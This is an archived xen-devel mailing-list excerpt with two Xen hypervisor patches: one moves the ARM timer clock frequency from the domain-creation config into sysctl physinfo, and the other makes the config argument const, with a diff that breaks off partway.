 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e953000edb5@swg.vates.tech>)
 id 6a58e6a8-195a-0a2a45060019-b9ff1c238695-7
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:12:10 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b44e953000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 14:11:46 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 64CE6829AE;
 Thu, 16 Jul 2026 16:11:45 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=O3jS1hGwFFGYaODk24bUorYDD+jc5AvhvGB0rmuBP+Y=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=KZyFj/37I5q+OV/J/E3YBji7Gu68CAPEqJQWVZQc7EHqVsMSbTWCDY6VYBTRQwv6DsR7nrHUE
 SOhODeNin6J4JiZZAWOHn7g9/5HuEMyyKPkxhnIA3hXlsD1kZdegC3UDcpQcC9CshcZsHO4AJnQ
 Mea3VWw7q5FioG1Faueca1sdGGQF3oQVNFJo3QsInEBAMY16gjm5JwqZmFb9odR+WERF5Sl8mHk
 5HDtEWPIEdzI+ihdbUhLV7aPIH/DjCcnzAEJMr9gQYkg6JT6ZcE96kEA3s5VuQqamrW4bBQKJYU
 OC7PiD/NrokzSeI+mUip7cjFmsaL6e0HB4W04zRnIOSw==
X-Zone-Loop: 781e1be57679ea5a7d4d250c7c8b002f80c8fbda3855
x-campaign-type: default
x-transaction-id: 700272a0-f2dd-4723-9617-216fef34d3f1
x-swg-uid: 01-819857be-b3b5-44ac-b5f8-13afc786dbde
X-Mailer: Sweego
Message-ID:
 <1784211106.8631fc262581453bbf619ec5b2062170.19f6b44e953000edb5@vates.tech>
x-swg-bid: 1784211106.8631fc262581453bbf619ec5b2062170.19f6b44e953000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v3 5/6] xen/arm: report clock_frequency via sysctl physinfo, not createdomain
Date: Thu, 16 Jul 2026 16:11:37 +0200
In-Reply-To: <20260716141138.88265-1-julian.vetter@vates.tech>
References: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
 <20260716141138.88265-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.a0b.3d1c879108a8d336.19f6b44e7a7.106719f2257d1b88=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784211105703
X-purgate-ID: tlsNG-16d1c6/1784211130-FDA0C77B-CC92787C/0/0
X-purgate-type: clean
X-purgate-size: 11622

---=Part.a0b.3d1c879108a8d336.19f6b44e7a7.106719f2257d1b88=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

The xen_arch_domainconfig=2Eclock_frequency value is populated in
domain_vtimer_init() during XEN_DOMCTL_createdomain from the global
timer_dt_clock_frequency, which comes from the host's DT timer node and
has nothing to do with the domain being created=2E Like now removed
GIC_NATIVE resolution, this is a host-wide system property being
smuggled out through a domain-creation IN struct=2E

Expose it instead as a new arch_clock_frequency_hz field in
XEN_SYSCTL_physinfo, populated via arch_do_physinfo(), and mirroring how
the GIC capability bits were already moved there=2E The field is only set
when booting via Device Tree=2E Systems booting via ACPI get the frequency
from firmware/CNTFRQ directly and leave it 0, same as 'property not
present'=2E

Although the CNTFRQ_EL0 register is 64 bits wide, and some current timer
implementations run at 1GHz, a 32bit value is sufficient to store the
timer value, because it only mirrors the DT 'clock-frequency' property,
which the bindins define as a single 32-bit cell=2E The
XEN_DOMCTL_INTERFACE_VERSION doesn't need to be bumped, because only a
previously zero'ed / ignored field is now used=2E

The xen_arch_domainconfig parameter passed to domain_vtimer_init() is no
longer needed, so drop that parameter entirely=2E libxl now fetches the
frequency via libxl_get_physinfo() in libxl__arch_domain_save_config()
instead of reading it back out of the createdomain reply=2E The OCaml
xen_arch_domainconfig mirror drops the field too=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v3:
- Replaced arch_clock_frequency by arch_clock_frequency_hz to clearly
  specify which granularity the value has
- Updated commit message and comments in the code to=2E=2E=2E
  - =2E=2E=2Emention why a 32bit value is "enough" for now
  - =2E=2E=2Emention behaviour when a guest boots via ACPI
---
 tools/libs/light/libxl=2Ec          |  1 +
 tools/libs/light/libxl_arm=2Ec      | 13 ++++++++++++-
 tools/libs/light/libxl_types=2Eidl  |  1 +
 tools/ocaml/libs/xc/xenctrl=2Eml    |  1 -
 tools/ocaml/libs/xc/xenctrl=2Emli   |  1 -
 xen/arch/arm/domain=2Ec             |  2 +-
 xen/arch/arm/include/asm/vtimer=2Eh |  3 +--
 xen/arch/arm/sysctl=2Ec             |  3 +++
 xen/arch/arm/vtimer=2Ec             |  4 +---
 xen/include/public/arch-arm=2Eh     | 16 +---------------
 xen/include/public/sysctl=2Eh       | 21 ++++++++++++++++++++-
 11 files changed, 41 insertions(+), 25 deletions(-)

diff --git a/tools/libs/light/libxl=2Ec b/tools/libs/light/libxl=2Ec
index a1fe16274d=2E=2Eec7e6d3f65 100644
--- a/tools/libs/light/libxl=2Ec
+++ b/tools/libs/light/libxl=2Ec
@@ -410,6 +410,7 @@ int libxl_get_physinfo(libxl_ctx *ctx, libxl_physinfo =
*physinfo)
     physinfo->cap_gnttab_v2 =3D
         !!(xcphysinfo=2Ecapabilities & XEN_SYSCTL_PHYSCAP_gnttab_v2);
     physinfo->arch_capabilities =3D xcphysinfo=2Earch_capabilities;
+    physinfo->arch_clock_frequency_hz =3D xcphysinfo=2Earch_clock_frequen=
cy_hz;
=20
     GC_FREE;
     return 0;
diff --git a/tools/libs/light/libxl_arm=2Ec b/tools/libs/light/libxl_arm=
=2Ec
index 926d651857=2E=2Ecf441f0737 100644
--- a/tools/libs/light/libxl_arm=2Ec
+++ b/tools/libs/light/libxl_arm=2Ec
@@ -252,6 +252,9 @@ int libxl__arch_domain_save_config(libxl__gc *gc,
                                    libxl__domain_build_state *state,
                                    const struct xen_domctl_createdomain *=
config)
 {
+    libxl_physinfo info;
+    int rc;
+
     switch (config->arch=2Egic_version) {
     case XEN_DOMCTL_CONFIG_GIC_V2:
         d_config->b_info=2Earch_arm=2Egic_version =3D LIBXL_GIC_VERSION_V=
2;
@@ -264,7 +267,15 @@ int libxl__arch_domain_save_config(libxl__gc *gc,
         return ERROR_FAIL;
     }
=20
-    state->clock_frequency =3D config->arch=2Eclock_frequency;
+    libxl_physinfo_init(&info);
+    rc =3D libxl_get_physinfo(CTX, &info);
+    if (rc) {
+        LOG(ERROR, "failed to get physinfo");
+        libxl_physinfo_dispose(&info);
+        return ERROR_FAIL;
+    }
+    state->clock_frequency =3D info=2Earch_clock_frequency_hz;
+    libxl_physinfo_dispose(&info);
=20
     return 0;
 }
diff --git a/tools/libs/light/libxl_types=2Eidl b/tools/libs/light/libxl_t=
ypes=2Eidl
index a7893460f0=2E=2Ee24a3253f8 100644
--- a/tools/libs/light/libxl_types=2Eidl
+++ b/tools/libs/light/libxl_types=2Eidl
@@ -1201,6 +1201,7 @@ libxl_physinfo =3D Struct("physinfo", [
     ("cap_gnttab_v1", bool),
     ("cap_gnttab_v2", bool),
     ("arch_capabilities", uint32),
+    ("arch_clock_frequency_hz", uint32), # ARM only
     ], dir=3DDIR_OUT)
=20
 libxl_connectorinfo =3D Struct("connectorinfo", [
diff --git a/tools/ocaml/libs/xc/xenctrl=2Eml b/tools/ocaml/libs/xc/xenctr=
l=2Eml
index 147afa62c2=2E=2E582897af6d 100644
--- a/tools/ocaml/libs/xc/xenctrl=2Eml
+++ b/tools/ocaml/libs/xc/xenctrl=2Eml
@@ -32,7 +32,6 @@ type xen_arm_arch_domainconfig =3D
   {
     gic_version: int;
     nr_spis: int;
-    clock_frequency: int32;
   }
=20
 type x86_arch_emulation_flags =3D
diff --git a/tools/ocaml/libs/xc/xenctrl=2Emli b/tools/ocaml/libs/xc/xenct=
rl=2Emli
index 9fccb2c2c2=2E=2E9414b87164 100644
--- a/tools/ocaml/libs/xc/xenctrl=2Emli
+++ b/tools/ocaml/libs/xc/xenctrl=2Emli
@@ -26,7 +26,6 @@ type vcpuinfo =3D {
 type xen_arm_arch_domainconfig =3D {
   gic_version: int;
   nr_spis: int;
-  clock_frequency: int32;
 }
=20
 type x86_arch_emulation_flags =3D
diff --git a/xen/arch/arm/domain=2Ec b/xen/arch/arm/domain=2Ec
index b396d5e615=2E=2Ed6d80ac55d 100644
--- a/xen/arch/arm/domain=2Ec
+++ b/xen/arch/arm/domain=2Ec
@@ -711,7 +711,7 @@ int arch_domain_create(struct domain *d,
     if ( (rc =3D domain_vgic_init(d, config->arch=2Enr_spis)) !=3D 0 )
         goto fail;
=20
-    if ( (rc =3D domain_vtimer_init(d, &config->arch)) !=3D 0 )
+    if ( (rc =3D domain_vtimer_init(d)) !=3D 0 )
         goto fail;
=20
     if ( (rc =3D tee_domain_init(d, config->arch=2Etee_type)) !=3D 0 )
diff --git a/xen/arch/arm/include/asm/vtimer=2Eh b/xen/arch/arm/include/as=
m/vtimer=2Eh
index 9d4fb4c6e8=2E=2E6bbfcf4e69 100644
--- a/xen/arch/arm/include/asm/vtimer=2Eh
+++ b/xen/arch/arm/include/asm/vtimer=2Eh
@@ -20,8 +20,7 @@
 #ifndef __ARCH_ARM_VTIMER_H__
 #define __ARCH_ARM_VTIMER_H__
=20
-extern int domain_vtimer_init(struct domain *d,
-                              struct xen_arch_domainconfig *config);
+extern int domain_vtimer_init(struct domain *d);
 extern int vcpu_vtimer_init(struct vcpu *v);
 extern bool vtimer_emulate(struct cpu_user_regs *regs, union hsr hsr);
 extern void virt_timer_save(struct vcpu *v);
diff --git a/xen/arch/arm/sysctl=2Ec b/xen/arch/arm/sysctl=2Ec
index 3b0edf4cec=2E=2E060132dabb 100644
--- a/xen/arch/arm/sysctl=2Ec
+++ b/xen/arch/arm/sysctl=2Ec
@@ -15,6 +15,7 @@
=20
 #include <asm/arm64/sve=2Eh>
 #include <asm/gic=2Eh>
+#include <asm/time=2Eh>
=20
 #include <public/sysctl=2Eh>
=20
@@ -25,6 +26,8 @@ void arch_do_physinfo(struct xen_sysctl_physinfo *pi)
     pi->arch_capabilities |=3D MASK_INSR(sve_encode_vl(get_sys_vl_len()),
                                        XEN_SYSCTL_PHYSCAP_ARM_SVE_MASK);
=20
+    pi->arch_clock_frequency_hz =3D timer_dt_clock_frequency;
+
     /*
      * The GIC version(s) we're happy creating guests with=2E  Right now =
for
      * simplicity it is tied to the active hardware version, but this wil=
l
diff --git a/xen/arch/arm/vtimer=2Ec b/xen/arch/arm/vtimer=2Ec
index 2e85ff2b6e=2E=2E18f5676158 100644
--- a/xen/arch/arm/vtimer=2Ec
+++ b/xen/arch/arm/vtimer=2Ec
@@ -52,7 +52,7 @@ static void virt_timer_expired(void *data)
     perfc_incr(vtimer_virt_inject);
 }
=20
-int domain_vtimer_init(struct domain *d, struct xen_arch_domainconfig *co=
nfig)
+int domain_vtimer_init(struct domain *d)
 {
     d->arch=2Evirt_timer_base=2Eoffset =3D get_cycles();
     d->arch=2Evirt_timer_base=2Enanoseconds =3D
@@ -60,8 +60,6 @@ int domain_vtimer_init(struct domain *d, struct xen_arch=
_domainconfig *config)
     d->time_offset=2Eseconds =3D d->arch=2Evirt_timer_base=2Enanoseconds;
     do_div(d->time_offset=2Eseconds, 1000000000);
=20
-    config->clock_frequency =3D timer_dt_clock_frequency;
-
     /*
      * Per the ACPI specification, providing a secure EL1 timer
      * interrupt is optional and will be ignored by non-secure OS=2E
diff --git a/xen/include/public/arch-arm=2Eh b/xen/include/public/arch-arm=
=2Eh
index 6987f5bdf4=2E=2Eb88c61c8ff 100644
--- a/xen/include/public/arch-arm=2Eh
+++ b/xen/include/public/arch-arm=2Eh
@@ -334,7 +334,7 @@ DEFINE_XEN_GUEST_HANDLE(vcpu_guest_context_t);
 #define XEN_DOMCTL_CONFIG_ARM_V8R_EL1_MSA_VMSA    2
=20
 struct xen_arch_domainconfig {
-    /* IN/OUT */
+    /* IN */
     uint8_t gic_version;
     /* IN - Contains SVE vector length divided by 128 */
     uint8_t sve_vl;
@@ -342,20 +342,6 @@ struct xen_arch_domainconfig {
     uint16_t tee_type;
     /* IN */
     uint32_t nr_spis;
-    /*
-     * OUT
-     * Based on the property clock-frequency in the DT timer node=2E
-     * The property may be present when the bootloader/firmware doesn't
-     * set correctly CNTFRQ which hold the timer frequency=2E
-     *
-     * As it's not possible to trap this register, we have to replicate
-     * the value in the guest DT=2E
-     *
-     * =3D 0 =3D> property not present
-     * > 0 =3D> Value of the property
-     *
-     */
-    uint32_t clock_frequency;
     /* IN */
     uint8_t arm_sci_type;
     /* IN */
diff --git a/xen/include/public/sysctl=2Eh b/xen/include/public/sysctl=2Eh
index d20ebf3644=2E=2E7d051bf14f 100644
--- a/xen/include/public/sysctl=2Eh
+++ b/xen/include/public/sysctl=2Eh
@@ -120,7 +120,26 @@ struct xen_sysctl_physinfo {
     uint32_t cpu_khz;
     uint32_t capabilities;/* XEN_SYSCTL_PHYSCAP_??? */
     uint32_t arch_capabilities;/* XEN_SYSCTL_PHYSCAP_{X86,ARM,=2E=2E=2E}_=
??? */
-    uint32_t pad;
+    /*
+     * ARM only, and only set when booting via Device Tree=2E Value, in H=
z, of
+     * the "clock-frequency" property in the DT timer node=2E The propert=
y may
+     * be present when the bootloader/firmware doesn't correctly set CNTF=
RQ
+     * to hold the timer frequency=2E
+     *
+     * As it's not possible to trap this register, we have to replicate t=
he
+     * value in the guest DT=2E
+     *
+     * This field mirrors the DT property (a single <u32> cell), independ=
ent of
+     * CNTFRQ_EL0's own width or any given implementation's actual freque=
ncy=2E
+     * Should the DT binding ever grow a wider encoding, this field would=
 need
+     * to grow (or gain a companion) to match, same as any other ABI chan=
ge=2E
+     *
+     * =3D 0 =3D> property not present, non-ARM, or booting via ACPI (ACP=
I
+     *        guests get the frequency from firmware/CNTFRQ instead, so
+     *        there is nothing to replicate)=2E
+     * > 0 =3D> Value of the property, in Hz=2E
+     */
+    uint32_t arch_clock_frequency_hz;
     uint64_aligned_t total_pages;
     uint64_aligned_t free_pages;
     uint64_aligned_t scrub_pages;
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.a0b.3d1c879108a8d336.19f6b44e7a7.106719f2257d1b88=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:12:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:12:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364105.1615487 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMoy-000575-9R; Thu, 16 Jul 2026 14:12:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364105.1615487; Thu, 16 Jul 2026 14:12:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMoy-00056r-3d; Thu, 16 Jul 2026 14:12:16 +0000
Received: by outflank-mailman (input) for mailman id 1364105;
 Thu, 16 Jul 2026 14:12:15 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44eb46000edb5@swg.vates.tech>)
 id 1wkMox-00051V-5E
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:12:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMow-000yGf-Hw
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:12:14 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44eb46000edb5@swg.vates.tech>)
 id 6a58e6ba-e002-0a2a0a5209dd-0a2a4502cc8e-12
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:12:14 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44eb46000edb5@swg.vates.tech>)
 id 6a58e6be-6ca4-0a2a45020019-b9ff1c12b507-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:12:14 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b44eb46000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 14:11:46 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id C8A25829A9;
 Thu, 16 Jul 2026 16:11:45 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=5d51ptFBUqeFrMnM9UmyIOdG7rqL89xbG3rIsQCHejU=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=YP00jzJGCZdBrOyP00PAZ5abAKd5C4avtdY5VU8oHqfcdigkwI//hyJezf3fLf2jX8t/Kk/c1
 kuQEfr+KpXr0wQPYx1q+KO4YOsWP80Hf9MEQMbv+RKpyBs77jRVqxira9WESbuEMUtFPfR/znYy
 dktqTF8izLzEVdJHI3OPddF0s9WG4db8Nll2jP3lHGOobFvrmJAWRxzMTiHEUicWGiUPtEyzWdy
 f4JKMDTrulH1QcSBqZwAUMg3LzKpS+fpxyCyeiPH6B+J8XpAgJiTCPSDBsrPJ1wA15H5obwFRQs
 D9bzNsEJxKes18eaPCkd02hR6cyNJq0hn/hs7SjKEzcg==
X-Zone-Loop: fa95749e1238e6c258c1bfe789784d46d65f8b9f8a0d
x-campaign-type: default
x-transaction-id: 71e7a3c8-086d-4b4f-972e-36cccb2ec239
x-swg-uid: 01-7c8fa99a-e3de-4e75-bae5-e26b39b569e7
X-Mailer: Sweego
Message-ID:
 <1784211106.8631fc262581453bbf619ec5b2062170.19f6b44eb46000edb5@vates.tech>
x-swg-bid: 1784211106.8631fc262581453bbf619ec5b2062170.19f6b44eb46000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v3 6/6] xen: make config argument const
Date: Thu, 16 Jul 2026 16:11:38 +0200
In-Reply-To: <20260716141138.88265-1-julian.vetter@vates.tech>
References: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
 <20260716141138.88265-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.a0c.507d24c602eb9ec1.19f6b44e93e.e9386eede43bbb4=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784211106110
X-purgate-ID: tlsNG-720697/1784211134-F28B42AC-B5ED4DD3/0/0
X-purgate-type: clean
X-purgate-size: 8397

---=Part.a0c.507d24c602eb9ec1.19f6b44e93e.e9386eede43bbb4=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

arch_sanitise_domain_config() validates the configuration requested by
the toolstack, and should not fill anything in=2E The config struct passed
to createdomain is supposed to be pure input=2E ARM used to abuse this
(GIC_NATIVE resolution, now removed) to smuggle output back to the
toolstack=2E Making the parameter const stops that type of abuse from
happening on any architecture=2E

The x86 implementation turned out to have its own instance of the same
issue=2E It set XEN_DOMCTL_CDF_oos_off into config->flags for non-HVM
guests=2E Since The sanitisation runs before the function domain_create()
copies config->flags into d->options, this relied on mutating the
toolstack's config to take effect=2E Move the default onto d->options
directly in arch_domain_create() (which runs after d->options is
populated), where all the remaining domain options are resolved=2E This
has the same effect and no mutation of the input config is required=2E

ARM, PPC and RISC-V need no equivalent change, Their implementations
were already read-only=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
Reviewed-by: Jan Beulich <jbeulich@suse=2Ecom> # x86
---
Changes in v3:
- Added 'Reviewed-by'
---
 xen/arch/arm/domain=2Ec                   |  2 +-
 xen/arch/arm/firmware/sci=2Ec             |  2 +-
 xen/arch/arm/firmware/scmi-smc=2Ec        |  2 +-
 xen/arch/arm/include/asm/firmware/sci=2Eh |  6 +++---
 xen/arch/ppc/stubs=2Ec                    |  2 +-
 xen/arch/riscv/domain=2Ec                 |  2 +-
 xen/arch/x86/domain=2Ec                   | 16 ++++++++--------
 xen/include/xen/sched=2Eh                 |  6 ++++--
 8 files changed, 20 insertions(+), 18 deletions(-)

diff --git a/xen/arch/arm/domain=2Ec b/xen/arch/arm/domain=2Ec
index d6d80ac55d=2E=2Ef605446cc5 100644
--- a/xen/arch/arm/domain=2Ec
+++ b/xen/arch/arm/domain=2Ec
@@ -557,7 +557,7 @@ static bool v8r_el1_msa_domain_sanitise_config(
     }
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     unsigned int max_vcpus;
     unsigned int flags_required =3D (XEN_DOMCTL_CDF_hvm | XEN_DOMCTL_CDF_=
hap);
diff --git a/xen/arch/arm/firmware/sci=2Ec b/xen/arch/arm/firmware/sci=2Ec
index aa93cda7f0=2E=2Ef73ed06092 100644
--- a/xen/arch/arm/firmware/sci=2Ec
+++ b/xen/arch/arm/firmware/sci=2Ec
@@ -45,7 +45,7 @@ int sci_domain_init(struct domain *d, struct xen_domctl_=
createdomain *config)
     return cur_mediator->domain_init(d, config);
 }
=20
-int sci_domain_sanitise_config(struct xen_domctl_createdomain *config)
+int sci_domain_sanitise_config(const struct xen_domctl_createdomain *conf=
ig)
 {
     if ( !cur_mediator )
         return 0;
diff --git a/xen/arch/arm/firmware/scmi-smc=2Ec b/xen/arch/arm/firmware/sc=
mi-smc=2Ec
index 0835ddeeec=2E=2Ea973679eaf 100644
--- a/xen/arch/arm/firmware/scmi-smc=2Ec
+++ b/xen/arch/arm/firmware/scmi-smc=2Ec
@@ -82,7 +82,7 @@ static bool scmi_handle_smc(struct cpu_user_regs *regs)
 }
=20
 static int
-scmi_smc_domain_sanitise_config(struct xen_domctl_createdomain *config)
+scmi_smc_domain_sanitise_config(const struct xen_domctl_createdomain *con=
fig)
 {
     if ( config->arch=2Earm_sci_type !=3D XEN_DOMCTL_CONFIG_ARM_SCI_NONE =
&&
          config->arch=2Earm_sci_type !=3D XEN_DOMCTL_CONFIG_ARM_SCI_SCMI_=
SMC )
diff --git a/xen/arch/arm/include/asm/firmware/sci=2Eh b/xen/arch/arm/incl=
ude/asm/firmware/sci=2Eh
index 485ce211c9=2E=2E1d566be8e2 100644
--- a/xen/arch/arm/include/asm/firmware/sci=2Eh
+++ b/xen/arch/arm/include/asm/firmware/sci=2Eh
@@ -32,7 +32,7 @@ struct sci_mediator_ops {
      * it to sanitize domain SCI configuration parameters=2E
      * Optional=2E
      */
-    int (*domain_sanitise_config)(struct xen_domctl_createdomain *config)=
;
+    int (*domain_sanitise_config)(const struct xen_domctl_createdomain *c=
onfig);
=20
     /*
      * Called during domain destruction, releases all resources, that
@@ -101,7 +101,7 @@ int sci_domain_init(struct domain *d, struct xen_domct=
l_createdomain *config);
  * Sanitise domain configuration parameters=2E
  *
  */
-int sci_domain_sanitise_config(struct xen_domctl_createdomain *config);
+int sci_domain_sanitise_config(const struct xen_domctl_createdomain *conf=
ig);
=20
 /*
  * Destroy SCI domain instance=2E
@@ -162,7 +162,7 @@ static inline int sci_domain_init(struct domain *d,
 }
=20
 static inline int
-sci_domain_sanitise_config(struct xen_domctl_createdomain *config)
+sci_domain_sanitise_config(const struct xen_domctl_createdomain *config)
 {
     if ( config->arch=2Earm_sci_type !=3D XEN_DOMCTL_CONFIG_ARM_SCI_NONE =
)
         return -EINVAL;
diff --git a/xen/arch/ppc/stubs=2Ec b/xen/arch/ppc/stubs=2Ec
